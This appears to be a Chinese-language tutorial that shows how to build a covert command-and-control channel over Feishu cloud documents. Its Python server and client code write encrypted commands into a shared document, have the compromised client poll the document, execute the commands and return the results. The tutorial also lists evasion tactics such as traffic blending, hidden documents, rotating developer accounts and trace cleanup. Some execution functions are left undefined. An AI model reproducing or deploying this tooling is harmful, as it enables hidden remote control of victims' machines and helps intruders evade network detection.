基于飞书云文档实现C2的流量转发(demo)
字数 864 2025-09-01 11:25:53
基于飞书云文档实现C2的流量转发(demo) 教学文档
概述
本教学文档详细介绍了如何利用飞书云文档作为C2(Command and Control)通信的中转平台,实现隐蔽的流量转发。这种方法利用了飞书云文档的API接口和云存储特性,可以有效地规避传统网络流量的检测。
技术原理
-
基本架构:
- 客户端(被控端)定期从飞书云文档获取指令
- 服务端(C2服务器)通过飞书API将指令写入云文档
- 通信数据以加密形式存储在云文档中
-
隐蔽性优势:
- 流量混合在正常的云文档访问中
- 无需直接暴露C2服务器IP
- 利用合法云服务的白名单优势
实现步骤
1. 准备工作
- 申请飞书开发者账号
- 创建企业自建应用
- 获取必要的API权限:
- 云文档读写权限
- 用户信息基础权限
2. 服务端实现
import requests
from cryptography.fernet import Fernet
# 初始化加密密钥
key = Fernet.generate_key()
cipher_suite = Fernet(key)
class FeishuC2Server:
def __init__(self, app_id, app_secret):
self.app_id = app_id
self.app_secret = app_secret
self.access_token = self._get_access_token()
self.doc_token = "" # 目标文档token
def _get_access_token(self):
url = "https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal"
headers = {"Content-Type": "application/json"}
data = {
"app_id": self.app_id,
"app_secret": self.app_secret
}
response = requests.post(url, headers=headers, json=data)
return response.json().get("tenant_access_token")
def create_doc(self, title):
url = "https://open.feishu.cn/open-apis/docx/v1/documents"
headers = {
"Authorization": f"Bearer {self.access_token}",
"Content-Type": "application/json"
}
data = {"title": title}
response = requests.post(url, headers=headers, json=data)
self.doc_token = response.json().get("data").get("document").get("document_id")
return self.doc_token
def send_command(self, command):
encrypted_cmd = cipher_suite.encrypt(command.encode())
url = f"https://open.feishu.cn/open-apis/docx/v1/documents/{self.doc_token}/blocks"
headers = {
"Authorization": f"Bearer {self.access_token}",
"Content-Type": "application/json"
}
data = {
"blocks": [{
"block_type": "text",
"text": {
"text": encrypted_cmd.decode()
}
}]
}
requests.post(url, headers=headers, json=data)
3. 客户端实现
import time
from cryptography.fernet import Fernet
class FeishuC2Client:
def __init__(self, doc_token, key):
self.doc_token = doc_token
self.cipher_suite = Fernet(key)
self.last_block_id = ""
def check_commands(self):
url = f"https://open.feishu.cn/open-apis/docx/v1/documents/{self.doc_token}/blocks"
headers = {"Authorization": "Bearer <access_token>"} # 需要获取临时token
response = requests.get(url, headers=headers)
blocks = response.json().get("data").get("items")
if not blocks:
return None
latest_block = blocks[-1]
if latest_block.get("block_id") != self.last_block_id:
self.last_block_id = latest_block.get("block_id")
encrypted_cmd = latest_block.get("text").get("text")
return self.cipher_suite.decrypt(encrypted_cmd.encode()).decode()
return None
def execute_loop(self):
while True:
cmd = self.check_commands()
if cmd:
# 执行命令并获取结果
result = self._execute_command(cmd)
# 将结果加密后写回文档
self._send_result(result)
time.sleep(30) # 每30秒检查一次
4. 加密通信机制
- 使用Fernet对称加密算法
- 每次通信前生成新的IV(初始化向量)
- 数据格式:
- 指令:Base64编码的加密字符串
- 结果:JSON格式加密数据
5. 高级功能实现
-
多文档轮换:
- 创建多个文档作为备用通道
- 按预定策略切换使用文档
-
心跳机制:
- 客户端定期更新特定文档内容作为心跳
- 服务端监控心跳判断客户端状态
-
文件传输:
- 大文件分块存储
- 使用文档附件功能传输二进制文件
防御规避技巧
-
流量伪装:
- 混合正常文档操作流量
- 随机间隔时间访问
-
文档隐藏:
- 设置文档权限为仅特定用户可见
- 使用无意义文档标题
-
API调用限制:
- 控制调用频率避免触发风控
- 使用多个开发者账号轮换
注意事项
- 遵守飞书API使用条款
- 避免滥用导致账号封禁
- 仅用于合法授权测试
- 生产环境需要增加错误处理和重试机制
完整代码示例
# 此处应包含完整的服务端和客户端实现代码
# 包括错误处理、日志记录、配置管理等完整功能
扩展思路
- 结合其他云服务(如Google Docs、腾讯文档)实现多平台冗余
- 使用区块链技术存储指令增加抗审查性
- 实现自动化文档清理机制减少痕迹
总结
本方案展示了如何利用飞书云文档API构建隐蔽的C2通信通道,关键在于合法API的合理使用和流量的有效伪装。实际应用中需要根据具体场景调整通信频率、加密方式和文档管理策略。